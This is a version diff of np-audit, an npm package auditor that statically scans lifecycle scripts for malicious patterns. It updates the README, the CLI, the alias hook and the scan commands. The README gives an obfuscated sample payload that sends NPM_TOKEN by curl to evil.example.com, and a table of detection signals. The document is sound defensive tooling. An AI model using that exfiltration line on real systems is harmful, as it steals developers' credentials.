np-audit 1.5.1 → 2.1.0

package/README.md

@@ -5,101 +5,82 @@
 [![npm package size](https://img.shields.io/npm/unpacked-size/np-audit)](https://www.npmjs.com/package/np-audit)
 [![GitHub license](https://img.shields.io/github/license/KoblerS/np-audit.svg)](https://github.com/KoblerS/np-audit/blob/main/LICENSE)
 [![CI](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml/badge.svg)](https://github.com/KoblerS/np-audit/actions/workflows/ci.yml)
+[![codecov](https://codecov.io/gh/KoblerS/np-audit/branch/main/graph/badge.svg)](https://codecov.io/gh/KoblerS/np-audit)
 
 # np-audit — npm package auditor
 
-Statically detect obfuscated code in npm `preinstall`/`postinstall` scripts **before** they run. Drop-in replacement for `npm install` and `npm ci`.
+Static security analysis for npm packages — detects obfuscated lifecycle scripts, known vulnerabilities, and malicious patterns **before** they run. Drop-in replacement for `npm install` and `npm ci`.
 
 **Zero dependencies.** Pure Node.js built-ins only.
 
----
+```bash
+npx np-audit scan express
+```
 
-## The Attack Vector
+```bash
+npm install -g np-audit
+npa scan                     # scan all deps
+npa install                  # audit then install
+alias npm='npa'              # use as drop-in replacement
+```
 
-Supply chain attacks targeting the npm ecosystem frequently abuse lifecycle scripts. When you run `npm install`, npm automatically executes any `preinstall`, `install`, or `postinstall` script defined in a package's `package.json`. Attackers ship packages that look legitimate but embed malicious payloads hidden behind obfuscation techniques:
+---
 
-```json
-{
-  "scripts": {
-    "postinstall": "node ./dist/install.js"
-  }
-}
-```
+## Marshallers
 
-Where `dist/install.js` contains something like:
+Detection is split into modular marshallers — each one detects a single attack signal:
 
-```js
-// Obfuscated — hard to read by design
-var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
-eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl -s http://evil.example.com/\'+process.env.NPM_TOKEN)');
-```
+| Marshaller | What it detects | Score |
+| ---------- | --------------- | ----- |
+| `eval/dynamic-exec` | `eval()`, `new Function()`, indirect eval, `vm.*`, `setTimeout` with string | 8 |
+| `obfuscator.io` | `_0x` variable naming patterns (obfuscator.io output) | 9–80 |
+| `high-entropy-string` | Long strings or concatenation chains with high Shannon entropy | 6 |
+| `hex-escape-density` | Dense `\xNN` and `\uXXXX` escape sequences | 5–50 |
+| `fromCharCode` | `String.fromCharCode` with many args, large decimal char-code arrays | 7 |
+| `encoded-decode` | Base64/hex decode (`atob`, `Buffer.from`) optionally combined with `eval` | 3–8 |
+| `child-process` | `require('child_process')`, `exec`, `spawn`, `fork`, worker_threads | 5 |
+| `hex-array` | Large numbers of `0x` hex literal values | 7–60 |
+| `process-env` | `process.env` access (credential exfiltration signal) | 3 |
+| `network-call` | `require('https')`, `fetch()`, `dns`, `net`, `tls` | 4 |
+| `filesystem-manipulation` | `fs.writeFile`, `chmod`, `symlink` (backdoor persistence) | 3–4 |
+| `runtime-download` | Downloads and executes external runtimes (Bun, Deno) | 9–50 |
+| `vscode-autorun` | VS Code tasks with `runOn: folderOpen` (auto-execution) | 30 |
+| `known-vulnerability` | Known CVEs via Snyk API or OSV.dev | 4–6 (WARN), 80 (malicious) |
 
-Real-world examples include:
-
-- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — malicious postinstall that stole Bitcoin wallet credentials
-- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — cryptocurrency miner + info-stealer injected via hijacked maintainer account
-- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — wiper malware targeting systems by geo-IP
-- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — deliberate sabotage by the maintainer via postinstall
-- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised npm package targeting SAP developers
-
-**`npa` never executes the scripts.** It downloads and statically analyzes them, detecting:
-
-| Signal                         | Example                                    |
-| ------------------------------ | ------------------------------------------ |
-| `eval()` / `new Function()`    | `eval(atob("aGVsbG8="))`                   |
-| Indirect eval                  | `(0, eval)(x)`, `globalThis['ev'+'al'](x)` |
-| Function constructor prototype | `({}).constructor.constructor("…")()`      |
-| `setTimeout` with string arg   | `setTimeout('alert(1)', 100)`              |
-| Obfuscator.io patterns         | `var _0x3f2a = [...]`                      |
-| High-entropy strings           | Encrypted/compressed payloads              |
-| Split-literal high entropy     | `'aB' + 'cD' + 'eF' + …` (concat chain)    |
-| Hex / Unicode escape density   | `\x68\x65\x6c\x6c\x6f`, `\u0068\u0065…`    |
-| `String.fromCharCode()` chains | `String.fromCharCode(104,101,108,108,111)` |
-| Decimal char-code arrays       | `[101,118,97,108,...]` (printable ASCII)   |
-| Base64 / hex decode + exec     | `Buffer.from(x,'base64'\|'hex')` + `eval`  |
-| Shell spawning                 | `require('child_process').exec(...)`       |
-| `worker_threads`               | `new Worker(...)`, eval-class surface      |
-| Concealed `require`            | `require('child' + '_process')`            |
-| Dynamic `require` / `import`   | `require(variable)`, `import(expr)`        |
-| Large hex literal arrays       | `[0x1a, 0x2b, 0x3c, ...]` × 20+            |
-| `process.env` access           | Token/credential harvesting                |
-| Outbound network calls         | `https`/`http`/`net`/`dns`/`tls`/`dgram`/`http2`, `node:` prefix, dynamic `import()` |
-| Missing referenced script      | Command references file not in tarball     |
-| Oversized require graph        | Postinstall reaches >50 files or >5 MB     |
-
-### Coverage beyond the entry script
-
-`npa` doesn't just inspect the single file named in the lifecycle command. It:
-
-- Splits chained commands (`&&`, `||`, `;`, `|`) and analyses each segment, so `node setup.js && node payload.js` no longer hides the second invocation.
-- Handles `node -e "…"`, `sh -c "…"`, `python -c "…"` by analysing the inline code rather than just the wrapper command.
-- Reads shell scripts (`sh ./install.sh`), Python scripts, and shebang-invoked files — not only `node` targets.
-- Follows internal `require('./…')` and `import './…'` chains across the package (with cycle detection and per-package caps), so payloads hidden in helper files like `lib/helper.js` are caught.
-- Records dynamic `require(variable)` / `import(expr)` calls as findings, since they can't be resolved statically.
-- Scans the project's **own** `package.json` lifecycle scripts by default, catching PRs and supply-chain attacks that target the repository itself. Opt out with `scanSelf: false` in `.npmauditor.json`.
-- Inspects **all** lifecycle scripts npm may run, not only `preinstall`/`install`/`postinstall`: also `prepare`, `preprepare`, `postprepare`, and `prepublish`.
+Scores scale with severity — higher counts of obfuscation indicators produce higher scores. The final verdict is based on the highest individual score across all marshallers.
+
+See [CONTRIBUTING.md](CONTRIBUTING.md) for how to write custom marshallers.
 
 ---
 
-## Install
+## Vulnerability Scanning (CVE)
 
-**Global install (recommended):**
+Every scanned package is checked against known vulnerability databases alongside the code analysis.
 
-```bash
-npm install -g np-audit
-```
+**Default: OSV.dev (no setup required)**
 
-**Or use directly with npx:**
+Works out of the box — queries the free [OSV.dev](https://osv.dev/) API for known vulnerabilities and malicious package advisories.
+
+**Optional: Snyk API (richer data)**
 
 ```bash
-npx np-audit scan
+# Environment variable
+export SNYK_API_TOKEN=your-token-here
+
+# Or via Snyk CLI
+snyk auth
 ```
 
-After global install, use the `npa` command:
+Token resolution order: `SNYK_API_TOKEN` → `SNYK_TOKEN` → `~/.config/configstore/snyk.json`
 
-```bash
-npa --version
-```
+| Severity | Score | Verdict |
+| -------- | ----- | ------- |
+| Malicious package | 80 | DANGER |
+| 10+ vulnerabilities | 6 | WARN |
+| 5–9 vulnerabilities | 5 | WARN |
+| 1–4 vulnerabilities | 4 | WARN |
+
+Non-malicious CVEs produce warnings but never block installation. Only confirmed malicious packages trigger DANGER.
 
 ---
 
@@ -111,14 +92,13 @@ npa --version
 | ------------------------------ | ----------- | ---------------------------------- |
 | `npa install [package]`        | `npa i`     | Audit then run `npm install`       |
 | `npa ci`                       | —           | Audit then run `npm ci`            |
-| `npa scan`                     | `npa s`     | Scan only, no install              |
+| `npa scan [package]`           | `npa s`     | Scan only, no install              |
 | `npa config get`               | `npa c get` | Show current configuration         |
 | `npa config set <key> <value>` | `npa c set` | Update a config value              |
-| `npa alias`                    | —           | Print shell hook for auto-scanning |
-| `npa alias --install`          | —           | Install hook to shell profile      |
-| `npa alias --uninstall`        | —           | Remove hook from shell profile     |
+| `npa alias --install`          | —           | Install shell alias                |
+| `npa alias --uninstall`        | —           | Remove shell alias                 |
 
-Use `npa <command> -h` for detailed help on any command.
+Any unrecognized command is forwarded to npm (e.g. `npa run test`, `npa publish`).
 
 ### Flags
 
@@ -128,41 +108,13 @@ Use `npa <command> -h` for detailed help on any command.
 | `--json`    | —     | `install`, `ci`, `scan` | Machine-readable JSON output                     |
 | `--no-dev`  | —     | `install`, `ci`, `scan` | Skip devDependencies                             |
 | `--verbose` | —     | all                     | Show fetch progress and extra detail             |
-| `--version` | —     | —                       | Print version and exit                           |
+| `--version` | `-v`  | —                       | Print version and exit                           |
 | `--help`    | `-h`  | —                       | Print help and exit                              |
 
-### Drop-in replacement for `npm install`
-
-```bash
-# Audit all dependencies, then install if clean
-npa install          # or: npa i
-
-# Audit a specific package before adding it
-npa i express
-```
-
-### Drop-in replacement for `npm ci`
-
-```bash
-npa ci
-```
-
-### Scan only (no install)
-
-```bash
-npa scan             # or: npa s
-npa s --json         # machine-readable output
-npa s --no-dev       # skip devDependencies
-npa s --verbose      # show fetch progress
-```
-
 ### Interactive `--review` mode
 
-Review each install script yourself and decide which to allow:
-
 ```bash
-npa i --review        # or: npa i -r
-npa ci --review
+npa install --review
 ```
 
 ```
@@ -178,111 +130,94 @@ npa ci --review
   2 allowed  1 denied
 ```
 
-After confirmation, `npa` runs `npm install --ignore-scripts` and then manually executes only the scripts you allowed.
-
-### Configuration
+---
 
-```bash
-# Show current config
-npa config get
+## Configuration
 
-# Change thresholds
-npa config set blockScore 6    # block at score 6+ (default: 7)
-npa config set warnScore 3     # warn at score 3+ (default: 4)
+Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json`.
 
-# Skip trusted packages or scopes
-npa config set skipPackages '["esbuild","puppeteer"]'
-npa config set skipScopes '["@types","@babel"]'
+```bash
+npa config get                              # Show current config
+npa config set blockScore 6                 # Block at score 6+
+npa config set skipPackages '["esbuild"]'   # Trust specific packages
+npa config set skipScopes '["@types"]'      # Trust entire scopes
 ```
 
-Config is stored in `~/.npmauditor.json` (global) and can be overridden per project with `.npmauditor.json` in your project root.
+### All config keys
 
-### Shell Hook (npm alias)
-
-Automatically run `npa scan` before every `npm install` or `npm ci`:
+| Key               | Default                      | Description                             |
+| ----------------- | ---------------------------- | --------------------------------------- |
+| `blockScore`      | `7`                          | Score threshold for DANGER (exit 1)     |
+| `warnScore`       | `4`                          | Score threshold for WARN (exit 0)       |
+| `registry`        | `https://registry.npmjs.org` | npm registry URL                        |
+| `timeout`         | `30000`                      | HTTP request timeout (ms)               |
+| `parallelFetches` | `5`                          | Concurrent downloads                    |
+| `skipScopes`      | `[]`                         | `@scope` prefixes to skip               |
+| `skipPackages`    | `[]`                         | Package names to skip                   |
+| `silent`          | `false`                      | Suppress output when no issues found    |
+| `scanSelf`        | `true`                       | Scan own project lifecycle scripts      |
+| `maxTarballSize`  | `50MB`                       | Max unpacked tarball size (bomb protection) |
+| `checkVulnerabilities` | `true`                  | Check packages against CVE databases    |
+| `deepResolve`     | `false`                      | Resolve full transitive dependency tree |
 
-```bash
-# Install the hook to your shell profile (~/.zshrc or ~/.bashrc)
-npa alias --install
+---
 
-# Reload your shell
-source ~/.zshrc  # or ~/.bashrc
-```
+## Shell Alias
 
-Now when you run `npm install` or `npm ci`, npa will scan first:
+Use npa as a transparent npm replacement:
 
 ```bash
-$ npm install lodash
-[npa] Scanning dependencies before npm install...
-✔ No packages with install scripts found.
-[npa] Scan passed. Running npm install...
+npa alias --install     # adds: alias npm='npa'
+source ~/.zshrc         # reload shell
 ```
 
-If issues are found, the install is blocked:
+Now `npm install`, `npm ci` scan automatically. All other npm commands (`npm run`, `npm test`, `npm publish`) pass through unchanged.
 
 ```bash
-$ npm install evil-pkg
-[npa] Scanning dependencies before npm install...
-✗ evil-pkg@1.0.0 DANGER (score: 9)
-[npa] Scan found issues. Run 'npa install --review' for interactive mode.
+npa alias --uninstall   # remove the alias
 ```
 
-To remove the hook:
-
-```bash
-npa alias --uninstall
-```
+---
 
-#### All config keys
+## How It Works
 
-| Key               | Default                      | Description                             |
-| ----------------- | ---------------------------- | --------------------------------------- |
-| `blockScore`      | `7`                          | Score threshold for hard block (exit 1) |
-| `warnScore`       | `4`                          | Score threshold for warning (exit 0)    |
-| `registry`        | `https://registry.npmjs.org` | npm registry URL                        |
-| `timeout`         | `30000`                      | HTTP request timeout (ms)               |
-| `parallelFetches` | `5`                          | Concurrent tarball downloads            |
-| `skipScopes`      | `[]`                         | `@scope` prefixes to skip entirely      |
-| `skipPackages`    | `[]`                         | Specific package names to skip          |
-| `silent`          | `false`                      | Suppress output when no issues found    |
-| `scanSelf`        | `true`                       | Also scan the current project's own `package.json` lifecycle scripts |
+1. **Parse** `package-lock.json` (v1/v2/v3) or resolve from `package.json`
+2. **Fetch** tarballs from registry (or read from `node_modules`)
+3. **Parse** lifecycle commands — splits `&&`/`||`/`;`/`|`, handles `node -e`, `sh -c`, shell scripts
+4. **Walk** the `require()`/`import` graph from each entry (cycle detection, 50 file / 5 MB cap)
+5. **Analyze** with all marshallers — static code checks + CVE database queries
+6. **Score** and classify: DANGER / WARN / OK
+7. **Report** or proceed with install
 
 ---
 
-## Exit codes
+## The Attack Vector
 
-| Code | Meaning                             |
-| ---- | ----------------------------------- |
-| `0`  | All packages clean or only warnings |
-| `1`  | One or more packages blocked        |
+Supply chain attacks abuse npm lifecycle scripts. When you run `npm install`, any `preinstall`/`install`/`postinstall` script runs automatically. Attackers hide payloads behind obfuscation:
 
----
+```js
+var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
+eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
+```
+
+Real-world incidents:
 
-## How it works
+- **[event-stream (2018)](https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)** — Bitcoin wallet credential theft
+- **[ua-parser-js (2021)](https://github.com/advisories/GHSA-pjwm-rvh2-c87w)** — crypto miner + info-stealer
+- **[node-ipc (2022)](https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/)** — geo-targeted wiper malware
+- **[colors / faker (2022)](https://snyk.io/blog/open-source-npm-packages-colors-faker/)** — maintainer sabotage
+- **[SAP CAP / cds-dbs (2025)](https://community.sap.com/t5/technology-blog-posts-by-sap/cap-developers-call-to-action-to-mitigate-and-apply-solution-provided-in/ba-p/14387683)** — compromised package targeting enterprise developers
 
-1. **Parse** `package-lock.json` (supports v1, v2, v3 formats)
-2. **Filter** packages: skip dev deps (`--no-dev`), skipped scopes/packages, packages without install scripts
-3. **Fetch or read** — for packages in `node_modules`: read from disk. For packages not yet installed: download the tarball from the npm registry and parse it in memory (pure Node.js tar.gz reader, no `tar` package)
-4. **Parse the lifecycle command** — split on `&&` / `||` / `;` / `|`, classify each segment by interpreter (`node`, `sh`, `python`, `bun`, …), and treat `node -e` / `sh -c` arguments as inline code
-5. **Walk the require/import graph** from each entry script — following internal `./` / `../` paths, with cycle detection and per-package caps (50 files / 5 MB)
-6. **Analyze** every reached file statically across all lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`, `preprepare`, `postprepare`, `prepublish`) — never execute
-7. **Also scan the current project's own** `package.json` lifecycle scripts (unless `scanSelf: false`)
-8. **Score** findings (0–10 per signal), classify as DANGER / WARN / OK based on config thresholds
-9. **Report** results to terminal or `--json` — each finding is tagged with the file it came from
-10. **Proceed** — run npm normally, or in `--review` mode let you selectively allow scripts
+`npa` **never executes** scripts. It downloads and statically analyzes them.
 
 ---
 
-## Development
+## Exit Codes
 
-```bash
-git clone https://github.com/KoblerS/np-audit.git
-cd np-audit
-npm test          # run all unit + E2E tests
-npm link          # install npa globally from source
-```
-
-No build step, no transpilation — plain Node.js ≥ 18.
+| Code | Meaning                             |
+| ---- | ----------------------------------- |
+| `0`  | All clean or only warnings          |
+| `1`  | One or more packages blocked        |
 
 ---
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "np-audit",
-  "version": "1.5.1",
+  "version": "2.1.0",
   "description": "Static obfuscation detector for npm lifecycle scripts — supply chain attack prevention",
   "bin": {
     "npa": "bin/npa.js",

package/src/cli.js

@@ -17,7 +17,7 @@ function buildMainHelp() {
 
   return `
   npa — npm package auditor ${VERSION}
-  Statically detects obfuscated code in npm install scripts.
+  Static security analysis for npm packages.
 
   Usage:
 ${lines.join('\n')}
@@ -100,14 +100,29 @@ async function main() {
   }
 
   if (flags.help || !command) {
+    output.printLogo(VERSION);
     process.stdout.write(buildMainHelp() + '\n');
     return;
   }
 
   const cmd = commands.get(command);
   if (!cmd) {
-    output.error(`Unknown command: "${command}". Run npa --help for usage.`);
-    process.exit(1);
+    // Forward unknown commands to npm (allows `alias npm='npa'`)
+    const { spawnSync } = require('child_process');
+    const npmCmd = process.platform === 'win32' ? 'npm.cmd' : 'npm';
+    const result = spawnSync(npmCmd, process.argv.slice(2), {
+      stdio: 'inherit',
+      cwd,
+    });
+    process.exit(result.status || 0);
+    return;
+  }
+
+  // Deprecation notice for old shell hook
+  if (process.env.NPA_RUNNING && !flags.json && !config.silent) {
+    output.warn('Deprecated: The old npa shell hook is no longer needed.');
+    output.log(output.dim('  Run: npa alias --install   to upgrade to the simpler alias.'));
+    output.log('');
   }
 
   // Fire update check only for scan/install/ci commands (non-blocking)

package/src/commands/alias.js

@@ -6,10 +6,10 @@ const os = require('os');
 const output = require('../utils/output');
 
 const BASH_HOOK = `# npa npm hook
-npm() { [[ -n "$NPA_RUNNING" ]] && { command npm "$@"; return; }; case "$1" in scan) npa scan "\${@:2}"; return;; install|i|add) command -v npa >/dev/null && { local pkgs=(); for a in "\${@:2}"; do [[ "$a" != -* ]] && pkgs+=("$a"); done; if [[ \${#pkgs[@]} -gt 0 ]]; then npa scan "\${pkgs[@]}" || { echo "[npa] Blocked. Use 'npa install --review'"; return 1; }; else npa scan || { echo "[npa] Blocked. Use 'npa install --review'"; return 1; }; fi; };; ci) command -v npa >/dev/null && { npa scan || { echo "[npa] Blocked. Use 'npa ci --review'"; return 1; }; };; esac; command npm "$@"; }`;
+alias npm='npa'`;
 
 const POWERSHELL_HOOK = `# npa npm hook
-function npm { if($env:NPA_RUNNING){& npm.cmd @args;return}; if($args[0] -eq 'scan'){& npa scan @($args|Select-Object -Skip 1);return}; if($args[0] -in @('install','i','add')){$pkgs=@($args|Where-Object{$_ -notmatch '^-'}|Select-Object -Skip 1); if($pkgs.Count -gt 0){& npa scan @pkgs; if($LASTEXITCODE -ne 0){Write-Host "[npa] Blocked.";return 1}}else{& npa scan; if($LASTEXITCODE -ne 0){Write-Host "[npa] Blocked.";return 1}}}; if($args[0] -eq 'ci'){& npa scan; if($LASTEXITCODE -ne 0){Write-Host "[npa] Blocked.";return 1}}; & npm.cmd @args }`;
+Set-Alias -Name npm -Value npa`;
 
 module.exports = {
   name: 'alias',
@@ -18,20 +18,21 @@ module.exports = {
 
   help() {
     return `
-  npa alias — Shell hook to auto-scan before npm install/ci
+  npa alias — Shell alias to use npa as an npm drop-in replacement
 
   Usage:
-    npa alias                Print the shell hook
-    npa alias --install      Add hook to shell profile (~/.zshrc or ~/.bashrc)
-    npa alias --uninstall    Remove hook from shell profile
+    npa alias                Print the shell alias
+    npa alias --install      Add alias to shell profile (~/.zshrc or ~/.bashrc)
+    npa alias --uninstall    Remove alias from shell profile
 
-  The hook intercepts npm install/ci/add commands and runs npa scan first.
-  If issues are found, the install is blocked until resolved.
+  With the alias active, all npm commands pass through npa.
+  Install/ci/add commands are scanned before execution.
+  All other commands (run, test, publish, etc.) forward directly to npm.
 
   Examples:
-    npa alias                     Print hook for manual installation
+    npa alias                     Print alias for manual installation
     npa alias --install           Auto-install to detected shell
-    eval "$(npa alias)"           Load hook in current session only
+    eval "$(npa alias)"           Load alias in current session only
 `;
   },
 
@@ -86,7 +87,9 @@ function doUninstall(profilePath) {
     return;
   }
 
-  const cleaned = content.replace(/\n*# npa npm hook\nnpm\(\)[^\n]+\n*/g, '\n');
+  // Remove all known hook formats (old function, new alias)
+  const cleaned = content
+    .replace(/\n*# npa npm hook\n(?:npm\(\) \{[\s\S]*?\n\}|npm\(\)[^\n]+|alias npm='npa'|Set-Alias[^\n]*)\n*/g, '\n');
   fs.writeFileSync(profilePath, cleaned);
   output.success(`Removed npa hook from ${profilePath}`);
   output.log(output.dim('  Run: source ' + profilePath + ' (or restart your terminal)'));
@@ -100,6 +103,22 @@ function doInstall(hook, profilePath) {
   }
 
   const content = fs.existsSync(profilePath) ? fs.readFileSync(profilePath, 'utf8') : '';
+
+  // Migrate from old format (function or multi-line) to new alias
+  const hasOldHook = content.includes('# npa npm hook') && !content.includes("alias npm='npa'");
+  if (hasOldHook) {
+    output.warn('Deprecated: The old npm() shell function hook is no longer needed.');
+    output.log(output.dim('  npa now forwards unknown commands to npm directly.'));
+    output.log(output.dim('  Replacing with: alias npm=\'npa\''));
+    output.log('');
+    const migrated = content
+      .replace(/\n*# npa npm hook\n(?:npm\(\) \{[\s\S]*?\n\}|npm\(\)[^\n]+)\n*/g, '\n\n' + hook + '\n');
+    fs.writeFileSync(profilePath, migrated);
+    output.success(`Migrated npa hook to new format in ${profilePath}`);
+    output.log(output.dim('  Run: source ' + profilePath + ' (or restart your terminal)'));
+    return;
+  }
+
   if (content.includes('# npa npm hook')) {
     output.warn('npa hook already installed in ' + profilePath);
     return;

package/src/commands/ci.js

@@ -30,7 +30,10 @@ module.exports = {
   },
 
   async run({ flags, config, cwd }) {
+    const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
+    if (spinner) spinner.start();
     const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose });
+    if (spinner) spinner.stop();
     const hasIssues = results.some(r => r.verdict !== 'OK');
     const silent = config.silent && !hasIssues;
 
@@ -45,7 +48,7 @@ module.exports = {
     const blocked = results.filter(r => r.verdict === 'BLOCK');
 
     if (blocked.length > 0 && !flags.review) {
-      output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
+      output.error(`${blocked.length} package(s) blocked — suspicious or malicious packages detected.`);
       process.exit(1);
     }
 
@@ -62,7 +65,7 @@ module.exports = {
 function printResults(results, silent = false) {
   if (silent) return;
   if (results.length === 0) {
-    output.success('No packages with install scripts found.');
+    output.success('No issues found.');
     return;
   }
   for (const r of results) {

package/src/commands/install.js

@@ -33,6 +33,8 @@ module.exports = {
   async run({ args, flags, config, cwd }) {
     const packages = args.filter(a => !a.startsWith('-'));
 
+    const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
+    if (spinner) spinner.start();
     const results = await scan({
       cwd,
       config,
@@ -40,6 +42,7 @@ module.exports = {
       verbose:       flags.verbose,
       packages:      packages.length > 0 ? packages : null,
     });
+    if (spinner) spinner.stop();
 
     const hasIssues = results.some(r => r.verdict !== 'OK');
     const silent = config.silent && !hasIssues;
@@ -55,7 +58,7 @@ module.exports = {
     const blocked = results.filter(r => r.verdict === 'BLOCK');
 
     if (blocked.length > 0 && !flags.review) {
-      output.error(`${blocked.length} package(s) blocked due to obfuscated install scripts.`);
+      output.error(`${blocked.length} package(s) blocked — suspicious or malicious packages detected.`);
       output.log(output.dim('  Run with --review to interactively decide which scripts to allow.'));
       process.exit(1);
     }
@@ -81,7 +84,7 @@ module.exports = {
 function printResults(results, silent = false) {
   if (silent) return;
   if (results.length === 0) {
-    output.success('No packages with install scripts found.');
+    output.success('No issues found.');
     return;
   }
   for (const r of results) {

package/src/commands/scan.js

@@ -10,7 +10,7 @@ module.exports = {
 
   help() {
     return `
-  npa scan — Scan dependencies for obfuscated install scripts
+  npa scan — Scan dependencies for security issues
 
   Usage:
     npa scan [package] [options]
@@ -31,7 +31,10 @@ module.exports = {
 
   async run({ args, flags, config, cwd }) {
     const packages = args.filter(a => !a.startsWith('-'));
+    const spinner = !flags.json && !config.silent ? output.createSpinner('Auditing packages...') : null;
+    if (spinner) spinner.start();
     const results = await scan({ cwd, config, noDev: flags.noDev, verbose: flags.verbose, packages: packages.length > 0 ? packages : null });
+    if (spinner) spinner.stop();
     const hasIssues = results.some(r => r.verdict !== 'OK');
     const silent = config.silent && !hasIssues;
 
@@ -54,7 +57,7 @@ module.exports = {
 function printResults(results, silent = false) {
   if (silent) return;
   if (results.length === 0) {
-    output.success('No packages with install scripts found.');
+    output.success('No issues found.');
     return;
   }
   for (const r of results) {